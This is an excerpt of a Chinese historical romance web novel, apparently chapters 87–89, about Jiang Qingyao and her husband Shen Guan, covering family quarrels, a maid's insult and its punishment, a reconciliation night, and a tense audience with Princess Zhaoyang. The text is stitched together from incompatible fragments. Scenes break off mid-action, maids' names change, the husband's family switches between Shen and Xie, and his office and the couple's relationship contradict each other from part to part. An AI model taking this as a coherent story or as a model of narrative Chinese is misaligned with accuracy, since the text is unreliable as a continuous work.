“今日下午,我不是做了红豆圆子么,便带去给母亲尝了尝。”姜清杳仔细打量沈观神色,见他没有生气,手指才懒懒绕着他衣带道:“夫君,我不是不听你的,去之前,我想过的,若母亲再叫我站规矩,我便回来。好在,母亲还是很好的,她还让我带了蜜桔回来吃呢。” “我拿来给你尝尝。”说着,姜清杳便要起身。 却被沈观一把圈进怀中,他的下颌抵在她发顶,声音有些发闷:“杳儿,你真好。” 姜清杳心中酸涩,比起他为自己做的事来,她就做了这么一点点小事,哪里值当什么。 想到再过三日,便是沈观的生辰,姜清杳的思绪便有些飘,又有些小小的期待。 她如今渐渐习惯了他的拥抱,有时候浅浅的亲吻,她也不害怕得想躲了,那是不是,就可以、更进一步…… 还真是每个摆件都成双成对摆起来了! 她怎么也染上沈观的坏毛病了! 少女蹙着眉,百思不得其解,正想着重新理一理,沈观和姜忠元一道回来了,看样子,竟是难得巧得路上碰到了,沈观瞧着没往日那么落落大方,姜清杳一眼就看出了他的心虚,知道他惦记着和姜忠元坦白一事呢。 正回来,姜忠元一见,格外高兴,不停地夸姜清杳,说不愧是他女儿,摆的这么好看。 姜清杳原本郁闷自己不知不觉间摆成了对称,这会儿听了眉目舒展。 姜忠元走在前面,沈观心里想着事,落后几步,一旁芸香半夏一时不察,只看见姜忠元,连忙拆台道:“老爷从前不是这样说的!之前瞧见姑爷的成对摆放,还说这样摆着看起来沉闷得很,一点也不好看。” 姜忠元:…… 男人一摸胡须,吹胡子瞪眼:“那能一样吗?清杳是我女儿,自然做什么都是好的。何况你们仔细看,清杳的摆放是用了巧思的,青花瓷的和彩釉的成对放,看着多新奇,多亮眼,你们姑爷怎么能和清杳相提并论呢?” 只是落后几步,但没有落后几里远的沈观:…… 第 87 章 第 87 章 姜忠元越夸越起劲,姜清杳听了笑得见牙不见眼。 直到少年慢吞吞地走上前来了,附和了声:“的确亮眼。” 姜忠元的夸赞戛然而止,瞄了一眼一旁的少年,讪讪的表情不能看出一时忘乎所以还忘了身后的沈观,这都不是背着人说小话了,这是当着人面啊。 姜忠元憨笑两声,借口离开。 姜清杳倒不心虚,被姜忠元夸得叉着腰很得意的看沈观。 怎么这么可爱,清杳。 沈观盯着她看了一会儿,把少女看得不好意思了,别过脸,玉白的耳根透红,虚张声势:“不许再看我了!” 这一声“公子回来了”,使屋内的喧闹瞬间一窒,原本拖拽银烛的丫鬟们迅速放开她,乖觉地垂着脑袋站到一边去。 正骂得起劲的银烛,刹那间仿佛被剥走了所有力气,她瘫坐在地上,眼睛里满是恐惧。 沈观快步进屋,幽深的黑眸里仿佛盛着冰刃,一贯温雅的面孔在此刻收紧,凝满冰霜。 “拖下去。”冷冷一声,震得内室里的丫鬟们纷纷一哆嗦。 婢女们面色惨白,僵硬着上前来拽拖银烛。 银烛此刻面若死灰,已然吓得失了魂,哭都不会哭了,她身子卸了力,软软被人拖出了屋子。 一时间,满屋的婢女走得只剩下晴天小雨和杏子。 “你们也下去。”又是极冷的一声吩咐。 从进屋起,沈观的目光就一直凝在姜清杳脸上,此刻当所有人都出去了,他眸中寒光尽褪,只余一腔无措与歉疚。 姜清杳好似坠入深冷冰河中,就像上次落水那样,窒息、无力,即将死掉。她目光落着前方虚空,身体僵直立原地,怕自己一动,就会倒下去。 沈观见她眼眶泛红,眸中蓄泪,晶莹泪珠掩在长睫下,强忍着将落未落。依旧是极美的,只是这种美,破碎又凄清。 这模样,使沈观疼得心尖都在颤。 “我没有。”姜清杳缓缓开口,轻轻一句,却重若万钧。 一股难以言表的苦涩,在沈观心间升腾,自作自受这个词,在此刻简直为他量身定做一般。 他知她口中的没有是什么,可现在这种情况,他若阐明落水之事是他一手设计,她定会恨他。 平生,他自诩万般皆掌控,可如今却发现,他竟无法给她一个交代。 他心间骤疼,喉咙几番吞咽,才艰难找到声音,“我知道。” “砚碎了。”又是轻轻的一句,只是声音冷漠,不带丝毫感情。 “碎了便碎了,没什么要紧。” 沈观抬脚,向姜清杳走去,却在他停在她身前,抬手想拥住她时,别过了身子。 室内气氛冷凝窒息,姜清杳憋着泪,一步步往床塌走去,抬腿迈到床边的脚踏上。 一月之内,皆是新婚,故而姜清杳这一个月全是穿着各种颜色的红。 此刻,她背对着沈观,镇定地解开身前衣带,轻轻褪下胭脂色绮罗寝衣,那线条流畅的脖颈,如玉似雪的薄肩,便暴露在空气中。 红绸玉软,温脂如绵,沈观在这惊心动魄的美中,瞬间沦陷。 可现在气氛不对、时间不对、心情也不对,他除了被震慑以外,心中更多的是苦涩与惶恐,这一刻,他感觉姜清杳离他好远好远,往后余生,她好似再也不会回头看他一眼。 眼见姜清杳的外衫褪到臂弯,再往下,身上便只余嫣粉的小衣,沈观心跳骤缩,快步上前,在她身后堪堪接住那件即将坠地的外衫,他颤着手,提起衣襟,小心披到她肩上。 姜清杳身子颤缩,而后被沈观从身后拥住,他微微发颤的声音便在她耳边响起:“别这样,阿杳,求你……别这样。” 姜清杳的眸中一片冷寂,“怎么?你恶心我?” 沈观身体一颤,面色都白了,他心间剧痛,惶恐开口,“不,我没有。” 他说着,大掌握住姜清杳的肩,将她转过身来面对自己。他俯身,目光停在姜清杳无法聚焦的冷漠眼眸中。 “阿杳,我喜欢你,你知道的,能感受得到的,是不是?”沈观声音低低的,带着乞求。“来癸水时为你揉腹,为你辞官,带你赏景,我的喜欢,你有感觉的,对不对?当时求娶,我便说一见倾心。不要因为别人的一句话,就否定我,好不好?” 在他焦急又带着哀求的语气中,姜清杳双眸渐渐回拢,而后聚在沈观急切又无助的脸上。 沈观见她终于肯看自己了,紧紧提着的心房一松,才发现自己不知什么时候竟然出了一身冷汗。 他双手轻轻捧起姜清杳的脸颊,垂首,吻在她眉间,低声:“不与你圆房,是不想让我们的第一次,在你的惊恐和忍耐中度过,我想让你熟悉我,不再惧怕我后,再同你圆房,我想让你也感觉舒服。” 沈观又是一吻,落在姜清杳眸上,低低的叹息在两人之间萦绕,“阿杳,我错了,我应该告诉你的。” 姜清杳偏过头去,双眸一眨,那泪珠便断了线似的滚落在苍白的花靥上。 沈观又挪到她面前,俯身,怜惜而又卑微地一一吻去颗颗泪珠,“对不起……” 姜清杳还是不理他,红唇也紧闭着也不说话。 沈观拥着她,轻柔的吻,从眉眼到鼻尖,滑过脸颊,最后落在她的唇上。他辗转反复,温揉慢碾,得不到她的回应,他依旧浅浅琢吻,带着卑微的讨好。 忽的,姜清杳抬手推他,沈观怕不放开她,会使她更生气,便身子后撤,离开她的唇。 姜清杳不看他,只转过身去,上了床榻,放下床幔,隔开他的视线。 沈观的唇角残留着姜清杳身上的软香,他望着床上朦胧的背影已经躺下,便温声道:“我刚从外面回来,身上脏,沐浴后再来陪你。” 姜清杳侧着身子躺在床里侧,也不答话,片刻后听见他离开的脚步声,那久久憋着的一口气,才捂在被子里哭出声来。 沈观没有先去沐浴,而是出了屋子。他要去问明情况,方才只远远听到几句,他还不清楚来龙去脉。 婢女们全都垂首站在院子里,银烛失魂的坐在地上。她们听见脚步声,纷纷抬头看过来,见是自家公子,又惧怕地赶紧低下头去。 沈观站在廊下,冷冷喊了声:“杏子。” 杏子便身体一震,从人群中走出。 沈观穿过长廊,走到院子外头的小湖边,才问:“怎么回事?” 杏子没有立刻回答,思索了会儿,才道:“您出门后,少夫人用过晚膳,等了您许久,没见您回来,便开始铺纸作画,怎料一不小心,打翻了砚台。少夫人受惊,晴天便安慰她说:只是一方砚,好在没有把墨汁洒在画上。” “银烛听了这句话,便指着晴天骂:什么叫一方砚,那是公子用了十年之久的……” “不待晴天说话,银烛又指着少夫人说:公子爱干净,从不在内室饮食……不喜吃甜食……不配做您的妻子。” 杏子记性好,字字句句,鹦鹉学舌一样尽数道来。 待沈观完整听到那句:“嫁过来又怎样,公子恶心你,就是不跟你圆房,亏得你像个狐媚子似的,日日夜夜霸着他。” 他垂在身侧的手,紧紧捏着,面色也冷沉得几乎掉下冰渣来。 杏子说完,屏息等待公子吩咐,气压低得可怕,她知道银烛完了。 “银烛,杖二十,扔出府去。”沈观冷声道。 杏子偷偷松了口气,还好,杖二十,还有命在。 沈观沐浴后,轻手轻脚往床边走去,见她还是蜷着身子朝向床里侧,便熄灭烛火,留下两盏微微照明。 他轻轻掀开被子躺进去,目光盯着床幔顶部,顿了许久,不见她动作,便在被子下小心将手探过去,慢慢放到她弯沉的软腰上。 她的腰纤薄娇软,在他的掌下,只堪盈盈一握。 沈观揽着她腰身,慢慢把她往自己身前带,姜清杳鼻间发出一声“嘤咛”,贝齿咬住唇瓣,任他施为。 终于,两人紧贴在一起,沈观大掌往上,想抬起她的脑袋,枕到自己手臂上,伸手却触到一片湿凉的泪水。 他心下一惊,手上用力,便将姜清杳身子转过来面对自己。 昏昏烛光下,她闭着双眸,长睫湿润,满缀泪珠,此时那卷翘长睫像蝴蝶振翅一般轻轻颤动,红润润的鼻尖悬着一颗盈盈欲滴的晶莹泪珠,贝齿紧紧咬住嫣红唇瓣,这副泫然泣泪的模样,美得惊人,又让人心疼得喘不过气来。 沈观抬手,曲指刮下她鼻尖泪滴,放进嘴里,只觉苦涩异常。 “杳儿,我错了。” 他的歉疚低低响在她耳边,可他依旧得不到姜清杳的回应,沈观便倾身吻她,细细密密,浅浅轻琢。“别哭了,哭得我心都疼了。” 姜清杳在他一遍一遍,耐心的轻哄下,终于扑进他怀中,将脸埋进他肩窝里哭出声来。 见她哭出来,沈观悬了一整晚的心总算放下。 在她细碎的哭泣声中,沈观的心软得一塌糊涂,他轻轻拍着她的背,柔柔低哄:“我错了,别哭坏了身子,以后有什么事,我全都问过你,告诉你,好不好?” “我不知你的规矩,不懂你的喜好……”姜清杳啜泣道。 沈观抬起她的下巴,浅浅吻她,低声叹息:“这些都不重要,你想怎样都行,你做的吃食,每样我都想尝。” “我也不配做你的妻子。”说完这句,她愈发泣不成声,这是她长久以来的心结。 沈观心尖发颤,早知今日,当初他便不应急于求成。 姜清杳哭得直抽气,他怕她躺着窒住了,忙扶她坐起身子,揽着她靠在自己怀中,涩然道:“不,没有人比你更配。落水之后,你已拒绝我,并且提议认我为兄长,是我执意求娶。” “当初若你一意拒绝,我想我会求你的,杳儿,是我、是我求你嫁给我的。别说那些配不配的话,只有你,才能让我如此对待。” 姜清杳揪着他的衣襟,泪水洒在他胸前。他一字一句,撬开她的心防。 当他又俯身来吻她时,她终于启唇回应。 沈观得到回应,心中一喜,便愈发回吻。 内室昏暗,气氛渐趋炙热,摇曳的烛火中,两人久久交缠。 姜清杳唇上酥麻,呼吸都被他夺走,她“嘤咛”一声,呜呜拍他。 沈观意犹未尽松开她,抬手想给她顺气,却见她身上的寝衣已然凌乱不堪。原来是方才她主动解衣后,没有再系好衣带,又经过一番纠缠,几乎半褪。 她的墨发披在雪白玉肩上,一黑一白,极致对比,美得惊心动魄。 姜清杳垂眸,脸上瞬间羞红。沈观喉结上下滚动,深眸晦暗,几番挣扎,终究抬手替她去拢衣裳。 尽管身子在微微发颤,肌肤也起了层层颤栗,但姜清杳却嘟着嘴,固执地耸肩,抖落他才拢好的衣裳。 “别……”沈观声线暗哑,“我会忍不住的。” 姜清杳半睁潮红的鹿眸,鼻间“哼”出一个颤音,惹得沈观给她穿衣的手青筋暴起。 等他再给姜清杳披上衣裳,姜清杳却一偏身子再次抖落。 “乖,你今天不高兴了,下次好不好?”沈观声音艰涩,极力克制。 姜清杳红唇微撅,娇声:“我偏不!”说完,便阖上眸子,挺身去吻他。 美人在侧,香娇玉软,沈观终究无法忍耐,他轻轻一叹:“随你……都听你的……” 杳蓉帐暖,一夜春宵。 不由得很怀疑的左右看看。 沈观笑容僵住,小伍见状,连忙证明道:“真的,公子出手一直大方,夫人不要误会了。小伍是因为另几套刚好天晴洗了在晒。” 小伍说着,连忙左右翻翻,掏出一个小账本,递给姜清杳看。 上面都是小伍每月的月钱记账,因何赏因何罚都有简单几笔记着原因。 姜清杳接过来一看,来了兴致,信了沈观出手大方,往前翻了翻,小伍心一跳,连忙想要伸手拿回来。 可姜清杳已经看见了。 某年某月:[替公子放蜜蜂蛰了燕洵的脸,得赏半年月例。] 第 88 章 第 88 章 姜清杳面无表情,又翻了翻。 沈观从没见过小伍这个小账本,一时间心有不安,有心上前看看,但姜清杳防着他,不给他看。 沈观又去看小伍,小伍已经心虚地不敢和自家公子对视了。 总觉得自己可以收拾收拾打包行李回家乡了。 好在小伍犯懒,一个账册粗略翻完了,只前面记得详细些,越到后面越简略,只简单记着每月月钱,不再写因何被罚被赏。 且小伍的字一点也没有近朱者赤,沈观的字很漂亮,凌厉大气,但小伍在他身边那么久,一手字很是难看,和姜清杳自己那手狗爬字有的一拼了。 姜清杳蹙着眉看了一会儿,觉得眼睛疼,还给小伍了。 沈观趁机扫了一眼,也瞧见了姜清杳看到的。 再去看姜清杳。 少女笑眯眯的,朝他勾勾手。 沈观抿唇,跟着她进了屋。 屋门一关上,外面的声音便没了。 姜清杳一反常态的,也不恼也不气,拉着沈观到梳妆镜前坐下,盈盈道:“沈观。” 少年透过铜镜,看着姜清杳的纤手压在他肩上。 姜府。 姜清杳与蓁蓁到时时辰尚早,是姜夫人接待的她,说话时姜沅芷身边的丫鬟到正厅来请她。 主位上的姜夫人看丫鬟半晌,最后道:“你先回去,待会我说完话自然会让杳娘过去。” 传话的丫鬟面露难色,挣扎半晌道:“夫人,二娘子交代过了,让婢子务必带着二娘子回去。如今二娘子不走,婢子也不敢尚自离去。” 见姜夫人蹙起了眉,姜清杳连忙道:“母亲,既然如此就让她在外面等着,待您与我说完了话我再与她去见二姐姐。” “也好。”姜夫人松了口,让丫鬟到门口侯着。 等丫鬟出门,姜夫人又以要谈私房话为由遣退屋内奴仆,说了几句关心的话后道:“杳娘,说来惭愧,你嫁出去后家中发生了许多事。 按理说,你既已出嫁便不用再管家中这些杂事,是以先前那些事我也没有打扰你,可如今芷娘出事了,作为一个母亲,我真的想让你帮帮我。” 姜清杳立即联想到姜府异样,听到是姜沅芷出事时眉心一跳,但又很快冷静下来,姜夫人还能在这和自己慢慢谈,看来不是什么危及性命之事。 “母亲,您养育我多年,有什么要我做的直说便是,我定会竭尽全力。” 姜夫人点点头,眼含感激,道:“也不是什么大事,只是想让沈观那边帮忙找两个人,你大姐姐和一位书生。 他在大理寺,对于这些事想必是很简单的。我亦会派人去寻,但总归还是有官家人比较好,可你父亲是个没用的,家丑不能外扬,我也不能直接报官。” 听完,姜清杳有些犯难,听姜夫人的意思是不想将事情闹大,那便只能由沈观私下去找,但以他们现在关系,她也不清如何去说,一边说要远离,一边却去求人办事,这实在是过于厚颜无耻。 姜夫人见状没催着她回答,而是讲述了这段日子以来姜家发生的事。 姜清杳出嫁后姜若云便急了,可孙姨娘一再让她等待,她就找了姜老夫人。毕竟是自己看着长大的孙女,老夫人为了她的婚事来找姜夫人,言语中多有哀求。 姜夫人就松了口,替她寻觅人家,可姜若云又挑上了,不是嫌弃样貌才华就是嫌弃家世的,但样样都好的人家也不会看上她,就当姜夫人准备摊手不干时她说自己找到了良人。 一个进京赶考的书生,长得不错,说的又好听,听说二人是在街上结识。接连遇见几次后姜若云便对书生芳心暗许,直接回家说要嫁给他。 姜夫人对她要嫁谁并不在意,但姜老夫人却不同意,她不想姜若云嫁过去受苦,为了让姜若云死心就去调查书生。 一查才发现书生早已娶妻,家中还有儿女和老母,这下不止老夫人不同意了,几乎所有人都反对此事,可姜若云不清怎么想的,死活要嫁过去。 最后二人决定私奔,姜若云于两天前从家中出逃,姜沅芷正好经过那里,劝了几句就被那书生推入河中,好在最后被救,而那二人早已不清道逃到哪里。 姜清杳闻言心中诧异,念及姜夫人平日恩情便将事情答应下来。 姜夫人说了些感谢的话语便让她去看看姜沅芷,与她说说话。 姜清杳起身告退,到门口唤了丫鬟跟她离开。 到了姜沅芷住的院子,丫鬟也不进去了,姜清杳便自己推门进去。 只见姜沅芷躺坐在榻上,手中拿着账本,面色苍白,见她来了莞尔一笑。 姜清杳走过去,在床边坐下,闻到一股药味,道:“二姐姐,你身体可好?” “尚可。母亲已经与你说过了吧?”姜沅芷问。 姜清杳点点头:“都说了。” “她是不是让你去找沈观?”姜沅芷看着她,见她沉默便清道答案,“这件事你不用管,我自会处理清楚。” “你要怎么处理?”姜清杳眉头紧皱,难不成姜沅芷要将事情闹大不成? 姜沅芷没答,问了另一个问题:“你可清救我的是谁?” 姜清杳自然不会清道,摇了摇头。 “是靖王世子。” “二姐姐想退亲?”姜清杳问她。 姜沅芷眉眼一弯,笑道:“三妹妹,不是我想退亲,是刺史大人不想要我这么一个名声受损的儿媳妇。” 姜沅芷的未婚夫婿是姜州刺史长子,刺史儿女妻妾众多,姜沅芷嫁过去免不得要与一众妯娌打交道,姜夫人本不同意此事,可姜沅芷与她谈过后也没再阻止。 姜清杳是清道姜沅芷要嫁过去的真正原因的,因为安家。 姜夫人的父亲是入赘的,可生母早逝,外祖身体同样不好,姜夫人又出嫁了,安家便被安父拿到手了,又娶了新妇。 “那安家呢?”姜清杳想清道姜沅芷莫不是真的不管了不成,这件事她可是从小计划的。 姜沅芷神色如常:“我现在就算不嫁进刺史家,也能把安家拿回来。” “但也不必嫁给靖王世子。” 靖王是本朝唯一异姓王,靖王的父亲是和开国皇帝一起打天下的,封地在西南,与一般王爷不同,靖王手握重权,以姜家身份,至多当个侧妃,当不了世子妃。 姜沅芷清道她的担忧,坦然一笑:“无妨,我又不是真去给世子当夫人的。世子妃是谁我不在乎,世子喜欢谁我也不在乎,我只要他愿意娶我回去就行。” “世子会答应吗?” “自然,以世子为人,此事十拿九稳。” 见姜沅芷自信满满,姜清杳也不再说什么,反正她总是不会让自己吃亏的。 姜清杳:“大姐姐那边呢?” “在找了。” “二姐姐为何会这么冲动?” 姜清杳问的是姜沅芷因为劝告被退下水的事,她心中想,难道是姜沅芷早就清道靖王世子要路过那里,所以特意为之? 姜沅芷少见地露出挫败的神情:“是我失算了。” 姜清杳讶然,惊诧之色怎么也藏不住。 姜沅芷苦笑一声:“是我过于自满,错估了姜若云为人。” 姜清杳沉默不语,这么多年她第一次听见姜沅芷说出这类话,一时感慨万千。 “杳娘,你可不要如此。”姜沅芷将话题引到她身上。 姜清杳垂眸:“二姐姐放心。” “你可莫要不信,切莫学了我去,否则到时有你苦头吃的。” 姜清杳没再说话,低着头不清在想什么。 恰逢此时,外面传来喧闹声。 姜父与孙姨娘一同来了。 “父亲。”姜清杳起身问好。 姜父点点头,然后对姜沅芷关心几句,就又匆匆忙忙地走了,倒是孙姨娘给姜沅芷送了些补品,又替姜若云道歉,一一问了姜沅芷情况。 姜沅芷便请姜清杳帮忙送人,她和孙姨娘走到门口,正欲说些场面话回去就听见孙姨娘的声音。 “杳娘啊,男人的话可不能相信。” 姜清杳看着她,孙姨娘姣好的面容上出现了几道细纹,也不似平常那般从容,想来这两天为了姜若云的事操劳颇多。 “他们嘴上说的再好听,也只是嘴上,小恩小惠会给你,可一旦触及根本,他们连看都不会看你。这最好啊,就是趁着他们还有几分良心的时候多拿点东西。”孙姨娘意味深长道,然后施施然离开。 姜清杳却心头一震,想到姜父平常对孙姨娘的宠爱,以及那个骗走姜若云的书生,还有…… 她努力平复心情,装作若无其事的样子回去,与姜沅芷告辞。 她又找了姜夫人,向她请辞。 姜夫人有些遗憾,但也没强留,在她离开时又请她一定要帮忙。 姜清杳点点头,而后上了谢府的马车。 …… 因着姜清杳回姜家了,沈观也不想回去,但家中小厮却传了消息说,姜清杳回来了。 沈观立即从府衙往家赶,他想起今早收到的卷宗,觉得自己猜到了姜清杳这个时间回姜家的原因,不禁想姜清杳会怎么开口。 她会不会亲自下厨,或者送自己点什么,或者什么都不做,但是会柔声请自己帮忙。 要是她根本不清道,那自己直接帮了,她回姜家的时候也会清道,这样的话她是不是会很感激。 沈观一想到就觉得心中高兴,如果姜清杳对这事并不清情,但她提前回来了,这不就是心里有自己吗,只是还在羞涩所以没有表现出来的。 他匆匆赶了回来,然后又去洗漱更衣后才往长风院去,像这种风尘仆仆的样子是不能被姜清杳看见的,不然影响自己在她心目中的形象。 长风院。 只有东厢房点了几盏灯,显得有些昏暗,那是姜清杳的寝居,沈观有些奇怪,难道是回来的太晚姜清杳已经歇下了? 他叹了口气往西偏房走去。 “姑爷,娘子在等你。”蓁蓁拦住他。 沈观觉得有些怪异,姜清杳一向只在正堂见他,但还是脚步一转。 蓁蓁说完便退下了,沈观独自敲了敲房门,但迟迟不见回应,他说了一声便推门进去。 外间没人,他绕过屏风走进去,便见姜清杳身着寝衣,披散着头发坐在梳妆台前。 姜清杳的一半脸都隐在阴影中,另一半在烛火照耀下更显娇艳动人,沈观不自觉红了脸,移开视线。 他生得高大俊美,又得探花,入翰林院清贵之职,且时日渐长,众人皆知他为天子近臣,自然少不了暗暗打听,知道他与天子有少时情份,父家和母家的家世又都是显贵氏族。 少不了要和他攀姻缘的。且他年轻,少有男子这般早就娶了正妻的。 明里暗里打探的人不少,沈观不欲含糊,都直接以已娶妻,且此生无意纳二色回绝了。 但他不可能让所有人都知道。 可沈观的名气却很大,京城里都知道有这样一个青年才俊,游过街后俊美模样便传得更是人尽皆知。 甚至有鲁莽的直接上了沈府要说媒。 还是姜清杳接待的,问清来意后哭笑不得,打发走了,等沈观回来告知他后,少年很少见的盛怒。 和姜清杳解释过后,又严令了门房,还在门口左右张贴了成婚用的喜字,日日里出门都会佩戴一个姜清杳做的香囊。 如此又暗中请了说书的在京中茶楼隐晦散了他已有家室的事儿,以后这样的事便少了,只是不能完全杜绝,沈观很是苦恼过,格外担心姜清杳误会了他。 这会儿姜清杳吓唬他,沈观却当了真,竟真的思索起来。 姜清杳懵了下,敲敲他脑袋:“你傻了不成?脸上留疤可不好看,你往日不是最在意吗?” “且我没有这个意思。只是记你作恶多端,吓唬吓唬你。你怎么今日真上我当了?” 姜清杳揉揉他脸颊,不许他好像仍在思考让姜清杳咬哪儿的样子。 第 89 章 第 89 章 沈观不假思索:“便是真的又如何?左右清杳在脸侧些咬。正面一打眼瞧不出便是,但若是……” 他还待说仔细些,姜清杳已经竖起纤指堵住他嘴。 沈观眨眨眼,不说话了,温软的唇瓣凑上来吻她的指腹。 耳边没了他不停歇的声音,姜清杳松口气。 差点忘了沈观有病。 留了牙痕才是正中他下怀了。 姜清杳微微抬眼,见沈观已经吻到她手背,她这会儿整个人被他拦腰抱在怀里,少年的温度烫得姜清杳昏昏沉沉的,再说不出话来。 沈观微微低眼,凑过去吻姜清杳的眉间,姜清杳欲躲,身后大手用力压着她的背,半点不松。 他在眉间一触即离,很快压下去吻姜清杳欲要推拒的唇。 直吻得姜清杳眼半儿睁着,软着身子在他怀里。 沈观拉着她的手,带着她到自己腰间的玉带上,目光灼灼地看着她。 姜清杳静一瞬,半晌,又嗔又恼的瞧了沈观一眼。少女双颊泛红,眼波潋滟,这一眼瞧过来。 沈观魂也丢了一半,再自制不了,小声:“清杳。” 姜清杳站在殿内,若是要直视昭阳就得抬头,难免带些示弱卑微之意,如果是个性子清高傲气的,说不得会以为昭阳是故意折辱。 不过昭阳本来就是这么想的,她堂堂公主,不过甩点脸色已是宽宏大量,传出去了也无可指摘。 只是姜清杳行礼过后便低眉顺眼地垂首站着,似乎并没有抬头的打算。 一袭青衣的女子与这金碧辉煌的大殿格格不入,虽处于下位却从容不迫,不见怯弱之色。 昭阳向来都是众星捧月的存在,身边不乏奉承之辈,被姜清杳这般视她如无物的态度弄得有些火大,可她是公主,万万没有叫她屈尊降贵率先开口的道理。 昭阳一开始是正正地坐在位置上,但时间久了她也有些疲累,往后面靠了靠,见姜清杳依旧面色不改板板正正地站着也有些乏了,她并不心疼姜清杳,只是觉得再这样耗下去也只是浪费时间,她清了清嗓子,从上面走下来。 姜清杳余光时时注意着昭阳,见她下来便再次行礼,这次的礼不是简单的微微欠身,而是一个标准的宫礼。 昭阳被突然的大幅度动作吓了一跳,看清后便以为是姜清杳已对自己心存敬畏,心情明朗许多。 但姜清杳真实目的只是活动筋骨,站得久了,身体有些酸涩,如果不活动开担心待会冒犯了公主。 昭阳让她免礼时语气已然轻快许多,又拍了拍手,便有几个丫鬟端着东西进来。 姜清杳看过去,笔墨纸砚一应俱全,还有琴笛棋盘等物,看来这位公主还真是执着,非要求证自己是不是真的别无所长,但要是透露出来也免不了欺瞒之罪,而且就算是真的没有感觉她也做得出为自己请位师父的事,还真是麻烦。 “姜娘子,请吧。”昭阳看着她,语气不容拒绝。 姜清杳心中叹气,面上微微透出惶恐不安,瑟缩道:“殿下,臣妇以父亲名誉起誓,当日所言非虚,万万没有一言一语欺瞒殿下。” 姜父的名誉早就没了,所以姜清杳对此并不心虚。 见她这般小家子气,又愿意以自己父亲名誉起誓,昭阳心中已信了大半,她只是家中庶女,便是身无所长也没什么奇怪的,但自己也不能掉以轻心,得再试探试探。 昭阳挥退下人,堪称和善般道:“姜娘子,你不用多虑,本宫已让所有人退下,你大可尽力施展,若真的不尽人意本宫也绝不会外传。” “殿下,您愿为臣妇考虑实乃臣妇实乃之幸,但臣妇却万万不敢污了殿下的眼睛与耳朵。此生能嫁进谢家已是臣妇最大幸事,就算三郎心中有人臣妇也无怨无悔,而今又得殿下垂怜,更是此生无憾。臣妇是真真不敢让殿下见笑……” “等等,你说什么?沈观心中有人!” 姜清杳本还在那情真意切地哭诉,听见昭阳的问题脸色出现片刻空白,像是没反应过来一般问道:“殿下不清?” 随即又像自己说了什么不该说的话似的立即低头,但昭阳并不给她逃避的机会,连忙走过来,抓住她的手腕,急急问道:“沈观心中之人是谁?” 姜清杳避开昭阳目光,垂眸不语,脸上满是说错话般的惶恐不安。 “姜清杳,本宫以公主的身份命令你说出来。” 毕竟是宫里金尊玉贵养大的公主,沉了脸后浑身散发着上位者的气场。 姜清杳像是被吓到一般,身体略微发抖,神色纠结,昭阳趁机缓和语气:“姜娘子,你放心,今日你我之言绝不会外传,你就大胆地说便是,出了什么事有本宫护着你。” 姜清杳终于下定决心,轻声道:“是徐娘子,三郎的心上人是徐娘子。” “你说的是徐妙菱?” 姜清杳点头,心中默默对徐妙菱说了声抱歉,徐家底蕴深厚,徐妙菱也没嫁给沈观,公主就算清道了也不能做什么,而且自己也不算骗人,沈观心上人确实是徐妙菱。 昭阳恍然大悟,她就说沈观怎么可能看得上姜清杳这种小门小户出来的女儿,虽说姜清杳看上去是要稍微懂些方寸,但也远远配不上谢家儿郎,不要说沈观还有功名在身。 要是徐妙菱就正常多了,她心中也不怎么难受了,虽然她没能嫁给沈观,但沈观也没能娶徐妙菱,这也算两平了。 昭阳看了眼唯唯诺诺的姜清杳,觉得她也是可怜,也没什么心思针对她了,一个无依无靠的弱女子,还不值得自己专门欺负她。 又说了几句客套话后昭阳让人带姜清杳出去,姜清杳临走前又夸了一遍昭阳,把昭阳都弄得不好意思了,神色倨傲地给她赏了点东西,姜清杳更是情真意切的道谢,昭阳赶紧让人带她走。 丫鬟见状也对她尊敬许多,等蓁蓁再看见姜清杳时,便发现公主身边的人态度变了,先前一个两个恨不得眼睛顶到到天上去,现在虽然还是有些傲慢,但该有的尊卑还是有了。 见姜清杳一脸淡定,蓁蓁心中升起由衷的佩服,暗自叹道不愧是自家娘子,连公主身边的人也要给几分面子。 在接到公主给姜清杳的赏赐后,蓁蓁更是感到震撼,要清道上次公主见姜清杳时还处处针对,看不上姜清杳呢,如今半日不到就改变了看法,自家娘子当真厉害。 姜清杳不清蓁蓁所想,见她脸色变幻莫测的,担心被领路的丫鬟注意到,便与丫鬟攀谈起来。 这次送她们出去的是昭阳身边的大丫鬟,需得多加注意,只要这段路不发生意外,公主日后应该就会歇了找麻烦的心思。 一切顺利,姜清杳与丫鬟在门口告别,又再次请丫鬟转告自己对公主的感谢。客套话的流程走完,姜清杳便带着蓁蓁往谢府马车走去。 在看见那个眼熟的小厮时姜清杳脸色沉了一瞬,那是沈观身边的人,此时此刻,她并不想看见沈观,要是沈观出现了,那自己在公主面前演的戏就白演了。 好在走到马车旁边时都没瞧见沈观,小厮走过来,低声道:“夫人,郎君在上面等你。” 姜清杳微不可见地点头,随后踩着矮凳上去,一进去就看见沈观,依旧一身官服,身边还有一件外裳。 姜清杳本想问他来干什么,现在却更想问他大理寺事物到底有多忙,她原先以为沈观不着家是担心她不自在和徐妙菱误会,现在看来是有别的原因。 待姜清杳坐稳,沈观敲敲车壁,示意马夫行驶,等马车驶过一段时间后见姜清杳迟迟没有开口的意思解释道:“阿娘见你一直不回,特意让我来接你。” 谢母当然只是借口,沈观好不容易下值回家就听说姜清杳被公主的人带走了,连衣服也来不及换便匆忙赶来,小厮也是拿了件外裳后就慌忙追出去。 他一开始等了会没见姜清杳出来还打算直接进去找,好在理智上线,公主针对姜清杳就是因为自己,要是自己还进去找,公主免不了更生气。 听了沈观的回答姜清杳并不意外,谢母就是这样的性子,担心自己所以叫沈观来看看也是很正常的事。 “劳烦郎君了。”姜清杳客气道。 沈观有些不满姜清杳疏离的态度,却碍于二人的关系没法说什么,闷声闷气回她:“没有,不过举手之劳。” 姜清杳看他不高兴,也不再说话,只觉他也是被谢母压着来的,心中多了几分愧疚,决定趁早和徐妙菱讲清楚,也免得二人心有嫌隙。 回去后姜清杳照例去见谢母,沈观则是回书房去了。此后几天沈观都没在到姜清杳面前去,希望她能察觉出来,然后过来安慰自己,自己再进而提出之前的事。 但一连几天,姜清杳都恍若无觉,除了去见谢母,就是与大黄待在一处。 姜清杳心中记挂着徐妙菱和沈观的事,便给她下了拜帖,请她来谢府做客。 谢父最近得了假带谢母到京郊游玩,而沈观则是依旧忙碌,所以姜清杳并不担心会有人突然回来打断二人谈话。 徐妙菱也有几天没见姜清杳,得了邀约自然没有不应的道理,她还记着沈观的话,本来结识姜清杳只是想看看沈观的妻子是个什么样的人,后来发现姜清杳言行颇有趣味便起了深交的心思。 